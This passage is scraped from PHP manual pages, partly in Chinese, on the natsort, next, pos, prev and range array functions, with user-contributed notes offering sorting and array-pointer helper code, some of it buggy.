$array = array('09', '8', '10', '009', '011');
natsort($array);
?>
/*
Array
(
    [3] => 009
    [4] => 011
    [0] => 09
    [1] => 8
    [2] => 10
)
*/
wyvern at greywyvern dot com 17-Dec-2008 10:53
There's no need to include your own API code to natsort an associative array by key.  PHP's in-built functions (other than natsort) can do the job just fine:

<?php
  uksort($myArray, "strnatcmp");
?>
lacent at gmail dot com 16-Jan-2007 09:42
there is another rnatsort function lower on the page, but it didn't work in the context i needed it in.

reasoning for this:
sorting naturally via the keys of an array, but needing to reverse the order.

    function rnatsort ( &$array = array() )
    {
        $keys    = array_keys($array);
        natsort($keys);
        $total    = count($keys) - 1;
        $temp1    = array();
        $temp2     = array();

        // assigning original keys to an array with a backwards set of keys, to use in krsort();
        foreach ( $keys as $key )
        {
            $temp1[$total] = $key;
            --$total;
        }

        ksort($temp1);

        // setting the new array, with the order from the krsort() and the values of original array.
        foreach ( $temp1 as $key )
        {
            $temp2[$key] = $array[$key];
        }

        $array = $temp2;
    }
@gmail bereikme 01-Sep-2006 08:06
Here's a handy function to sort an array on 1 or more columns using natural sort:
<?php
// Example: $records = columnSort($records, array('name', 'asc', 'addres', 'desc', 'city', 'asc'));

$globalMultisortVar = array();
function columnSort($recs, $cols) {
    global $globalMultisortVar;
    $globalMultisortVar = $cols;
    usort($recs, 'multiStrnatcmp');
    return($recs);
}

function multiStrnatcmp($a, $b) {
    global $globalMultisortVar;
    $cols = $globalMultisortVar;
    $i = 0;
    $result = 0;
    while ($result == 0 && $i < count($cols)) {
        $result = ($cols[$i + 1] == 'desc' ? strnatcmp($b[$cols[$i]], $a[$cols[$i]]) : $result = strnatcmp($a[$cols[$i]], $b[$cols[$i]]));
        $i+=2;
    }
    return $result;
}

?>

Greetings,

  - John
12-Mar-2006 07:44
The last comment should have been posted in doc about (r)sort( ). Indeed, and unfortunately, ORDER BY *does not* perform natural ordering. So, sometimes we *must* do a SQL request followed by natsort( ).
h3 22-Feb-2006 08:59
This function can be very usefull, but in some cases, like if you want to sort a MySQL query result, it's important to keep in mind that MySQL as built'in sorting functions which are way faster than resorting the result using a complex php algorythm, especially with large arrays.

ex; 'SELECT * FROM `table` ORDER BY columnName ASC, columnName2 DESC'
lil at thedreamersmaze dot spam-me-not dot org 31-Jan-2006 08:38
There's one little thing missing in this useful bit of code posted by mbirth at webwriters dot de:

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
   reset($value);
   $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
   $aryOut[$key] = $aryInput[$key];
// --------^^^^ add this if you want your keys preserved!
  }
  $aryInput = $aryOut;
}

?>
natcasesort.too 05-Aug-2005 03:17
I got caught out through naive use of this feature - attempting to sort a list of image filenames from a digital camera, where the filenames are leading zero padded (e.g. DSCF0120.jpg) , will not sort correctly.
Maybe the example could be modified to exhibit this behaviour
(e.g. set array to -img0120.jpg','IMG0.png', 'img0012.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png)
If the example hadn't used images I would have coded it correctly first time around!
phpnet at moritz-abraham dot de 02-Sep-2004 02:09
additional to the code posted by justin at redwiredesign dot com (which I found very usefull) here is a function that sorts complex arrays like this:
<?
$array['test0'] = array('main' =>  'a', 'sub' => 'a');
$array['test2'] = array('main' =>  'a', 'sub' => 'b');
$array['test3'] = array('main' =>  'b', 'sub' => 'c');
$array['test1'] = array('main' =>  'a', 'sub' => 'c');
$array['test4'] = array('main' =>  'b', 'sub' => 'a');
$array['test5'] = array('main' =>  'b', 'sub' => 'b');
?>
or
<?
$array[0] = array('main' =>  1, 'sub' => 1);
$array[2] = array('main' =>  1, 'sub' => 2);
$array[3] = array('main' =>  2, 'sub' => 3);
$array[1] = array('main' =>  1, 'sub' => 3);
$array[4] = array('main' =>  2, 'sub' => 1);
$array[5] = array('main' =>  2, 'sub' => 2);
?>
on one or more columns.

the code
<? $array = array_natsort_list($array,'main','sub'); ?>
will result in $array being sortet like this:
test0,test2,test1,test4,test5,test3
or
0,2,1,4,5,3.

you may even submit more values to the function as it uses a variable parameter list. the function starts sorting on the last and the goes on until the first sorting column is reached.

to me it was very usefull for sorting a menu having submenus and even sub-submenus.

i hope it might help you too.

here is the function:
<?
function array_natsort_list($array) {
    // for all arguments without the first starting at end of list
    for ($i=func_num_args();$i>1;$i--) {
        // get column to sort by
        $sort_by = func_get_arg($i-1);
        // clear arrays
        $new_array = array();
        $temporary_array = array();
        // walk through original array
        foreach($array as $original_key => $original_value) {
            // and save only values
            $temporary_array[] = $original_value[$sort_by];
        }
        // sort array on values
        natsort($temporary_array);
        // delete double values
        $temporary_array = array_unique($temporary_array);
        // walk through temporary array
        foreach($temporary_array as $temporary_value) {
            // walk through original array
            foreach($array as $original_key => $original_value) {
                // and search for entries having the right value
                if($temporary_value == $original_value[$sort_by]) {
                    // save in new array
                    $new_array[$original_key] = $original_value;
                }
            }
        }
        // update original array
        $array = $new_array;
    }
    return $array;
}
?>
xlab AT adaptiveNOSPAMarts DOT net 15-Jan-2004 12:51
Under limited testing, natsort() appears to work well for IP addresses. For my needs, it is far less code than the ip2long()/long2ip() conversion I was using before.
mbirth at webwriters dot de 09-Jan-2004 12:31
For those who want to natsort a 2d-array on the first element of each sub-array, the following few lines should do the job.

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
    reset($value);
    $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
    $aryOut[] = $aryInput[$key];
  }
  $aryInput = $aryOut;
}

?>
rasmus at flajm dot com 14-Dec-2003 09:30
To make a reverse function, you can simply:

function rnatsort(&$a){
    natsort($a);
    $a = array_reverse($a, true);
}
justin at redwiredesign dot com 22-Aug-2003 10:10
One of the things I've needed to do lately is apply natural sorting to a complex array, e.g.:

Array
(
    [0] => Array
        (
            [ID] = 4
            [name] = Fred
        )

    [1] => Array
        (
            [ID] = 6
            [name] = Bob
        )
)

where I want to sort the parent array by the child's name. I couldn't see a way of doing this using array_walk, so I've written a simple function to do it. Hopefully someone will find this useful:

/**
 * @return Returns the array sorted as required
 * @param $aryData Array containing data to sort
 * @param $strIndex Name of column to use as an index
 * @param $strSortBy Column to sort the array by
 * @param $strSortType String containing either asc or desc [default to asc]
 * @desc Naturally sorts an array using by the column $strSortBy
 */
function array_natsort($aryData, $strIndex, $strSortBy, $strSortType=false)
{
    //    if the parameters are invalid
    if (!is_array($aryData) || !$strIndex || !$strSortBy)
        //    return the array
        return $aryData;

    //    create our temporary arrays
    $arySort = $aryResult = array();

    //    loop through the array
    foreach ($aryData as $aryRow)
        //    set up the value in the array
        $arySort[$aryRow[$strIndex]] = $aryRow[$strSortBy];

    //    apply the natural sort
    natsort($arySort);

    //    if the sort type is descending
    if ($strSortType=="desc")
        //    reverse the array
        arsort($arySort);

    //    loop through the sorted and original data
    foreach ($arySort as $arySortKey => $arySorted)
        foreach ($aryData as $aryOriginal)
            //    if the key matches
            if ($aryOriginal[$strIndex]==$arySortKey)
                //    add it to the output array
                array_push($aryResult, $aryOriginal);

    //    return the return
    return $aryResult;
}
flash at minet dot net 12-Aug-2003 10:27
About the reverse natsort.. Maybe simpler to do :

function strrnatcmp ($a, $b) {
    return strnatcmp ($b, $a);
}
anonymous at coward dot net 31-May-2003 01:46
Reverse Natsort:

  function rnatsort($a, $b) {
    return -1 * strnatcmp($a, $b);
  }

  usort($arr, "rnatsort");


将数组中的内部指针向前移动一位

  • ? natsort
  • pos ?
  • PHP Manual
  • 数组 函数
  • 将数组中的内部指针向前移动一位

next

(PHP 4, PHP 5, PHP 7)

next — 将数组中的内部指针向前移动一位

说明

next ( array &$array ) : mixed

next() 和 current() 的行为类似，只有一点区别，在返回值之前将内部指针向前移动一位。这意味着它返回的是下一个数组单元的值并将数组指针向前移动了一位。

参数

array

受影响的 array 。

返回值

返回数组内部指针指向的下一个单元的值，或当没有更多单元时返回 FALSE。

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

范例

Example #1 next() 及相关函数的用法示例

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

注释

Note: 你将无法区别包含数组尾以及 boolean FALSE 单元的数组。要正确遍历可能含有空单元或者单元值为 0 的数组，参见 each() 函数。

参见

  • current() - 返回数组中的当前单元
  • end() - 将数组的内部指针指向最后一个单元
  • prev() - 将数组的内部指针倒回一位
  • reset() - 将数组的内部指针指向第一个单元
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步

User Contributed Notes

andy at andysdrawings dot co dot uk 05-Oct-2018 01:58
brentimus' array_set_pointer function will only work if the array value is unique in the array, and none of the array values are FALSE. It would be more reliable to use key() instead of current(). For similar reasons it's better to check key() after calling next() to determine whether the next() element "exists". Simply checking the value returned by next() will produce a false negative when looking at, for example, the first element of the array: ['one', 0, 'three']

However, it also turns out that the copied array retains the original array's pointer, so array_set_pointer is not actually required here. The following should work:

<?php
function has_next(array &$array) {
    $A_work = $array;  // $A_work is a copy of $array including its internal pointer.
    next($A_work);
    if (key($A_work) === NULL)
        return false;
    else
        return true;
}
?>
notImportant 03-May-2018 01:11
a more readable version of papipo's has_next function:

<?php
function has_next($array) {
    $has_next = is_array($array) && next($array) !== false;

    return $has_next;
}
?>

OR

<?php
function has_next($array) {
    $has_next = false;
    if(is_array($array)) {
        $has_next = next($array) !== false;
    }

    return $has_next;
}
?>
nigra 02-Jan-2018 08:01
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($count, $key = null, $arRelated = array(), $cntRelated = 2)
{
    if($count > 0 && isset($key))
    {
        $keyL = $count - 1;
        $keyR = 1;
        $arResult = array();
        for($i = 1; $i <= $cntRelated; $i++)
        {
            if($key == 0)
            {
                if(($i % 2) == 0)
                {
                    $curKey = $count - $keyL;
                    $keyL--;
                }
                else
                {
                    $curKey = $count - $keyR;
                    $keyR++;
                }
            }
            else
            {
                if($arRelated[$i] >= $count - 1)
                {
                    $curKey = 0;
                }
                else
                {
                    $curKey = $arRelated[$i] + 1;
                }
            }
            $arResult[$i] = $curKey;
        }
        return $arResult;
    }
}

$arr = range(0, 4);
$count = count($arr);

foreach($arr as $key => $v)
{
    if($arRelated = array_neighbor($count, $key, $arRelated))
    {
        $arHeighbor[$key]['RELATED'] = $arRelated;
    }
}

echo '<pre>';print_r($arHeighbor); echo '</pre>';
?>
Array
(
    [0] => Array
        (
            [RELATED] => Array
                (
                    [1] => 4
                    [2] => 1
                )

        )

    [1] => Array
        (
            [RELATED] => Array
                (
                    [1] => 0
                    [2] => 2
                )

        )

    [2] => Array
        (
            [RELATED] => Array
                (
                    [1] => 1
                    [2] => 3
                )

        )

    [3] => Array
        (
            [RELATED] => Array
                (
                    [1] => 2
                    [2] => 4
                )

        )

    [4] => Array
        (
            [RELATED] => Array
                (
                    [1] => 3
                    [2] => 0
                )

        )

)
JumpIfBelow 24-Aug-2017 11:57
Now from PHP 7.2, the function "each" is deprecated, so the has_next I've posted is no longer a good idea. There is another to keep it simple and fast:

<?php
function has_next(array $_array)
{
  return next($_array) !== false ?: key($_array) !== null;
}
?>
JumpIfBelow 30-Jul-2015 12:45
After dealing with the fact that next() will either returns FALSE when there is no further element in the array or if the element itself is FALSE, I finally find a way to do a has_next() method, which will never fails. You can ignore and/or downvote my last comment, this it will be deleted.
Here is the code that work :
<?php
    function has_next(array $a){
        return next($a) !== false ?: each($a) !== false;
    }
?>
double at dumpit dot de 08-Dec-2009 01:19
PHP: 5.2.10-2ubuntu6.3 (default apt-get installation on actual, see Date, jaunty 9.10 Ubuntu Distro - G33kWoRDs)

Have a look at your array pointer if you copy an array - the pointer will be copied, too.

For example if you got this construct:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    $array2 = $array;
    next($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

But if you copy the array after you've setted the pointer, the pointer will be copied, too:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = $array;
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 1
?>

What's more is, that foreach not resetting the pointer after walk through:
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array();
    foreach($array AS $key => $value){
        echo $key;
        $array2[$key] = $value;
    }
    echo var_dump(key($array));
    echo key($array2);

    // will output for foreach:
    // 0 1 2 3 4 5 6 7
    // and for the keys
    // NULL
    // 0
?>

The php-functions seems to reset the pointer on the given position after walk through (i don't know the internal handling - there could be used a copy of the array, too):
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array_values($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

There are a lot Methods like array_merge($array) that will neither reset the pointer of $array nor copy the pointer to $array2. Have a look on this.
I Hope this was a little helpfull.
ThinkMedical at Gmail dot com 02-Sep-2008 03:27
regarding references with foreach, you can use them directly. Obviating various posts which provide many lines of 'work arounds'.

$array = array(1,2,3,4,5);

foreach($array as &$value)

or use $key

foreach($array as $key => $value)
{
    $array[$key] = '...';
}
darkside at i dot ua 11-Dec-2007 03:36
This class implements simple operations with array

<?php
class Steps {

    private $all;
    private $count;
    private $curr;

    public function __construct () {

      $this->count = 0;

    }

    public function add ($step) {

      $this->count++;
      $this->all[$this->count] = $step;

    }

    public function setCurrent ($step) {

      reset($this->all);
      for ($i=1; $i<=$this->count; $i++) {
        if ($this->all[$i]==$step) break;
        next($this->all);
      }
      $this->curr = current($this->all);

    }

    public function getCurrent () {

      return $this->curr;

    }

    public function getNext () {

      self::setCurrent($this->curr);
      return next($this->all);

    }

  }
?>

usage example:

<?php
   $steps = new Steps();
   $steps->add('one');
   $steps->add('two');
   $steps->add('three');
   $steps->setCurrent('one');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
   $steps->setCurrent('two');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
?>
gg2005 at gmail dot com 06-Feb-2007 01:32
Don't confuse next with continue!

If you're a Perl developer starting with PHP, you might try to use "next" inside a loop to skip to the next iteration...

i.e.,

foreach ($things as $thing) {
  if (something I don't like about $thing) {
   next;
  }
  blah....
}

The php compiler will take next... but it's not going to work.

Do this instead:
foreach ($things as $thing) {
  if (something I don't like about $thing) {
   continue;
  }
  blah....
}
tino at infeon dot com 13-May-2006 08:48
this may be handy and i didnt know where else to post it.. i need a simple function to cycle through an array i eventually made it into a class so i could have multiple cycles.. if you like it or find it usefull please email me and let me know

class Cycle
{
    var $position;
    var $dataArray;
    var $dataArrayCount;

    function Cycle()
    {
        $this->dataArray = func_get_args();
        $this->dataArrayCount = count($this->dataArray);
    }

    function Display()
    {
        $this->position = (!isset($this->position) || $this->position >= ($this->dataArrayCount - 1)) ? 0 : $this->position += 1;
        return $this->dataArray[$this->position];
    }

}

$bgColor = new Cycle('#000000', '#FFFFFF', '#FF0000');

echo $bgcolor->Display();
//returns #000000
echo $bgcolor->Display();
//returns #FFFFFF
echo $bgcolor->Display();
//returns #FF0000
echo $bgcolor->Display();
//returns #000000
brentimus 28-Apr-2005 10:10
Papipo's function below is usefull in concept but does not work.

"Since you do not pass the array by reference, its pointer is only moved inside the function."

This is true, but the array you are manipulating in your has_next() function will have it's pointer set to the first element, not the same position as the original array. What you want to do is pass the array to the has_next() function via reference. While in the has_next() function, make a copy of the array to work on. Find out the current pointer position of the original array and set the pointer on the working copy of the array to the same element. Then you may test to see if the array has a "next" element.

Try the followig insetad:

<?php
function has_next(&$array)
{
    $A_work=$array;  //$A_work is a copy of $array but with its internal pointer set to the first element.
    $PTR=current($array);
    array_set_pointer($A_work, $PTR);

    if(is_array($A_work))
    {
        if(next($A_work)===false)
            return false;
        else
            return true;
    }
    else
        return false;
}

function array_set_pointer(&$array, $value)
{
    reset($array);
    while($val=current($array))
    {
        if($val==$value)
            break;

        next($array);
    }
}
?>
papipo's gmail account 13-Oct-2004 01:47
I need to know if an array has more items, but without moving array's internail pointer. Thats is, a has_next() function:

<?php
function has_next($array) {
    if (is_array($array)) {
        if (next($array) === false) {
            return false;
        } else {
            return true;
        }
    } else {
        return false;
    }
}

$array = array('fruit', 'melon');
if (has_next($array)) {
    echo next($array);
}

// prints 'melon'
?>

Since you do not pass the array by reference, its pointer is only moved inside the function.
Hope that helps.
lukasz at karapuda dot com 18-Aug-2004 10:06
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($arr, $key)
{
   $keys = array_keys($arr);
   $keyIndexes = array_flip($keys);

   $return = array();
   if (isset($keys[$keyIndexes[$key]-1])) {
       $return[] = $keys[$keyIndexes[$key]-1];
   }
   else {
       $return[] = $keys[sizeof($keys)-1];
   }

   if (isset($keys[$keyIndexes[$key]+1])) {
       $return[] = $keys[$keyIndexes[$key]+1];
   }
   else {
       $return[] = $keys[0];
   }

   return $return;
}
?>
court shrock 20-May-2004 04:36
This code returns neighbors of the specified key.  The result will be empty if it doesn't have any neighbors.  My approach was to use the order of keys to determine neighbors, which is differnet from just getting the next/previous element in an array.  Feel free to point out stupidities :)

<?php

function array_neighbor($arr, $key)
{
    krsort($arr);
    $keys = array_keys($arr);
    $keyIndexes = array_flip($keys);

    $return = array();
    if (isset($keys[$keyIndexes[$key]-1]))
        $return[] = $keys[$keyIndexes[$key]-1];
    if (isset($keys[$keyIndexes[$key]+1]))
        $return[] = $keys[$keyIndexes[$key]+1];

    return $return;
}

?>
bm at ANTISPAM dot solidwave dot com 16-Apr-2004 09:49
Take care when replacing code using reset()/next() with code using foreach as foreach does not update the array's internal pointer.  This means you cannot, say, use next() to skip an element in foreach loop, or use current() within a function to get a reference to the current element.  You probably have code depending on this internal pointer and replacing it will be more work than you anticipated.

See http://www.php.net/foreach


current 的别名

  • ? next
  • prev ?
  • PHP Manual
  • 数组 函数
  • current 的别名

pos

(PHP 4, PHP 5, PHP 7)

pos — current() 的别名

说明

此函数是该函数的别名：current()。

User Contributed Notes

vinicius at codemakers dot com dot br 06-May-2014 03:04
<?php
    $countries = array("Brazil", "England", "Japan", "France");

    // Get the current position
    echo pos($countries); // print Brazil

    // Go to next position
    echo next($countries); // print England

    // Current position
    echo pos($countries); //  print England

    // Previous position
    echo prev($countries); // print Brazil

    // End Position
    echo end($countries); // print France

    // Current position
    echo pos($countries); // print France


将数组的内部指针倒回一位

  • ? pos
  • range ?
  • PHP Manual
  • 数组 函数
  • 将数组的内部指针倒回一位

prev

(PHP 4, PHP 5, PHP 7)

prev — 将数组的内部指针倒回一位

说明

prev ( array &$array ) : mixed

将数组的内部指针倒回一位。

prev() 和 next() 的行为类似，只除了它将内部指针倒回一位而不是前移一位。

参数

array

The input array.

返回值

返回数组内部指针指向的前一个单元的值，或当没有更多单元时返回 FALSE。

范例

Example #1 prev() 及相关函数用法示例

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

注释

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

Note: 你会无法区分包含 boolean FALSE 单元的数组开头。要正确遍历可能含有空单元或者单元值为 0 的数组，参见 each() 函数。

参见

  • current() - 返回数组中的当前单元
  • end() - 将数组的内部指针指向最后一个单元
  • next() - 将数组中的内部指针向前移动一位
  • reset() - 将数组的内部指针指向第一个单元
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步

User Contributed Notes

MicroVB INC 31-Mar-2014 05:09
Some corrections to the previous function.
- When prev() and next() distance is now calculated properly returning the 'closer' one.
- When exact is false, and an item exists with the key searched for, it now returns that entry instead of next/prev closest
- At ends of the array, sometimes when moving past using next() or prev(), it caused results to die. This was corrected.
- Added field to result stating whether the match was 'exact' ('exact'=>true), or nearest ('exact'=>false)

<?php
function nearest($array, $value, $exact=false) {
    // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    $arr_begin = false;
    $arr_end = false;

    $exact_match = false;

    if($exact && isset($array[$value])) {
        // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } elseif (!$exact && isset($array[$value])) {
        // If exact match found, and searching for nearest, return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } else {

        if(!isset($array[$value]) && !$exact) {
            // Insert element that doesn't exist so nearest can be found
            $array[$value] = '-';
        }

        // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

        // Set start and end keys
        $arr_begin = key($array);
        end($array);
        $arr_end = key($array);
        reset($array);

        // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                if($value <> $arr_begin) {
                    prev($array); // Get entry before this one
                    $prev = key($array);
                }

                next($array);         // Skip current entry as this was what we were looking for nearest to

                if($value <> $arr_end) {
                    next($array); // Get entry after this one
                    $next = key($array);
                }
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($value - $prev) < ($next - $value)) {
                // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

    // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    if($return) {
        return $return+Array('exact'=>$exact_match);
    } else {
        return false;
    }
}
?>

Just to clarify, this function will return either an Array() containing the $key=>$value pair of the result and 'exact'=>(bool) whether the match was exact or not.

To access the $key=>$value pair, can be done as follows :
<?php

    $result = nearest( ... );  // Just here for clarification of the position for the code that follows.

    if($result) {
        // Output the Key
        echo key($result);

        // Output the Value
        echo $result( key($result) );

        // Output if exact match
        if($result['exact']) {
            echo 'This was an EXACT match';
        } else {
            echo 'This result was found with fuzzy logic';
        }

    } else {

        echo 'No result found';

    }

?>
MicroVB INC 31-Mar-2014 01:17
This function searches for the closest element in an array by key value, and returns the key/value pair, or false if not found.

<?php
function nearest($array, $value, $exact=false) {
        // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    if(!isset($array[$value]) && !$exact) {
        // Insert element that doesn't exist so nearest can be found
        $array[$value] = '-';
    }

    if($exact && isset($array[$value])) {
                // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
    } else {
            // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

                // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                prev($array); // Get entry before this one
                $prev = key($array);
                next($array);         // Skip current entry as this was what we were looking for nearest to
                next($array); // Get entry after this one
                $next = key($array);
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($long - $prev) > ($next - $long)) {
                                 // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                                 // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                                 // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                                 // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

        // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    return $return;
}
?>

Example usage (to lookup the closest color in an array)
<?php
$mycolors= Array(
    5001046=>'Abbey',
    1774596=>'Acadia',
    8171681=>'Acapulco',
    6970651=>'Acorn',
    13238245=>'Aero Blue',
    7423635=>'Affair',
    8803850=>'Afghan Tan',
    13943976=>'Akaroa',
    16777215=>'Alabaster',
    16116179=>'Albescent White',
    10176259=>'Alert Tan',
    30371=>'Allports'
);

// Color to search for in Hex
$color = 'C0C0C0';

// Convert Hex to Long to compare with array() keys
$colorlong = base_convert($color,16,10);

// Check for an exact match
$result = nearest($mycolors, $colorlong, true);
if($result) {
    echo "An exact match was found for #" . $color . " which is called '" . $result[key($result)] . "'";
} else {
    echo "No exact match was found";
}

if(!$result) {
    // Check for closest match
    $result = nearest($mycolors, $colorlong, true);
    if($result) {
        // Match found
        echo "The closest match for #" . $color . " is #" . base_convert(key($result),10,16) . " which is called '" . $result[key($result)] . "'";
    } else {
        // No match found
        echo "No match was found for #" . $color;
    }
}
?>
soapergem at gmail dot com 29-May-2009 12:06
Here's a slight revision to xmlich02's backwards iteration example. The problem with his/her example is that it will halt if any of the array elements are boolean false, while this version will not.

<?php

end($ar);
while ( !is_null($key = key($ar)) ) {
    $val = current($ar);
    echo "{$key} => {$val}\n";
    prev($ar);
}

?>


根据范围创建数组，包含指定的元素

  • ? prev
  • reset ?
  • PHP Manual
  • 数组 函数
  • 根据范围创建数组，包含指定的元素

range

(PHP 4, PHP 5, PHP 7)

range — 根据范围创建数组，包含指定的元素

说明

range ( mixed $start , mixed $end [, number $step = 1 ] ) : array

建立一个包含指定范围单元的数组。

参数

start

序列的第一个值。

end

序列结束于 end 的值。

step

如果设置了步长 step，会被作为单元之间的步进值。step 应该为正值。不设置step 则默认为 1。

返回值

返回的数组中从 start 到 end （含 start 和 end）的单元。

范例

Example #1 range() 例子

<?php
// array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)
foreach (range(0, 12) as $number) {
    echo $number;
}

//  step 参数
// array(0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100)
foreach (range(0, 100, 10) as $number) {
    echo $number;
}

// 字符序列的使用
// array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i');
foreach (range('a', 'i') as $letter) {
    echo $letter;
}
// array('c', 'b', 'a');
foreach (range('c', 'a') as $letter) {
    echo $letter;
}
?>

注释

Note:

字符序列值仅限单个字符。 如果长度大于1，仅仅使用第一个字符。

参见

  • shuffle() - 打乱数组
  • array_fill() - 用给定的值填充数组
  • foreach

User Contributed Notes

ccb_bc at hotmail dot com 10-Jun-2019 05:45
<?php
    function natural_prime_numbers(array $range, bool $print_info = false) : array {
        $start_time = time();
        $primes_numbers = array();
        $print = '';
        $count_range  = count($range);
        foreach($range as $number){
            $values_division_number = array();
            if($number === 0 || $number === 1 || !is_int($number)){ // eliminate 0, 1 and other no integer
                continue;
            }
            if($number != 2 && $number%2 === 0){ // eliminate 2 and pairs numbers
                continue;
            }
            for($i = 1; $i <= $number; $i++){
                $resultado_divisao = $number / $i;
                $values_division_number[$i] = $resultado_divisao;

                if($count_range <= 20){ // $count_range <= 20 (+ performance)
                    $print .= PHP_EOL;
                    $info = 'The number '.$number.' divided by the number '.$i.' is equal to: '.($number / $i);
                    $print .= $info;
                    if($i === $number){
                        $print .= PHP_EOL;
                    }
                }

                array_walk($values_division_number, function($value, $index) use (&$values_division_number, &$number){ // reference change values
                    // eliminate floats and others numbers not are equal 1 and own number
                    if(is_float($value) && $value != $number && $value > 1){
                        unset($values_division_number[$index]);
                    }
                });

                $values_division_number = array_values($values_division_number); // reindex array

                // here we want only array with 2 indexes with the values 1 and own number (rule to a natural prime number)
                if(count($values_division_number) === 2 && $values_division_number[0] === $number && $values_division_number[1] === 1){
                    $primes_numbers[$number] = $number;
                }

            }
        }
        return array(
            'length_prime_numbers' => count($primes_numbers),
            'prime_numbers' => array_values($primes_numbers),
            'print' => $print,
            'total_time_processing' => (time() - $start_time).' seconds.',
        );
    }
    var_dump(natural_prime_numbers(range(0, 11))); // here the range() function ;-)

    // Result:
    // array (size=3)
    //   'length_prime_numbers' => int 5
    //   'prime_numbers' =>
    //     array (size=5)
    //       0 => int 2
    //       1 => int 3
    //       2 => int 5
    //       3 => int 7
    //       4 => int 11
    //   'print' => string '
    // O número 2 dividido pelo número 1 é igual a: 2
    // O número 2 dividido pelo número 2 é igual a: 1

    // O número 3 dividido pelo número 1 é igual a: 3
    // O número 3 dividido pelo número 2 é igual a: 1.5
    // O número 3 dividido pelo número 3 é igual a: 1

    // O número 5 dividido pelo número 1 é igual a: 5
    // O número 5 dividido pelo número 2 é igual a: 2.5
    // O número 5 dividido pelo número 3 é igual a: 1.6666666666667
    // O número 5 dividido pelo número 4 é igual a: 1.25
    // O número 5 dividido pelo '...

    // **************************** //
    //
    // * Remember that the function is recursive, that is: a range of 5000 takes more than 1 minute on a processor Intel® Core™ i5-8250U (3.40 GHz).
    //
    // **************************** //
?>
luca.favorido ATgmailDOT com 28-Jun-2016 07:58
The function "range" is very useful to get an array of characters as range('C','R') does.

At work, I had to extend the function range($a,$b) to work in this special case: with two uppercase strings $a and $b, it should return all the possible strings between $a and $b.
This could be used for example to get the excel column indexes.
e.g. <?php range('A','AD') ==> array('A','B','C',...,'Z','AA','AB','AC','AD') ?>

So I wrote the function getrange($min,$max) that exactly does this.

<?php

function getcolumnrange($min,$max){
      $pointer=strtoupper($min);
      $output=array();
      while(positionalcomparison($pointer,strtoupper($max))<=0){
         array_push($output,$pointer);
         $pointer++;
      }
      return $output;
}

function positionalcomparison($a,$b){
   $a1=stringtointvalue($a); $b1=stringtointvalue($b);
   if($a1>$b1)return 1;
   else if($a1<$b1)return -1;
   else return 0;
}

/*
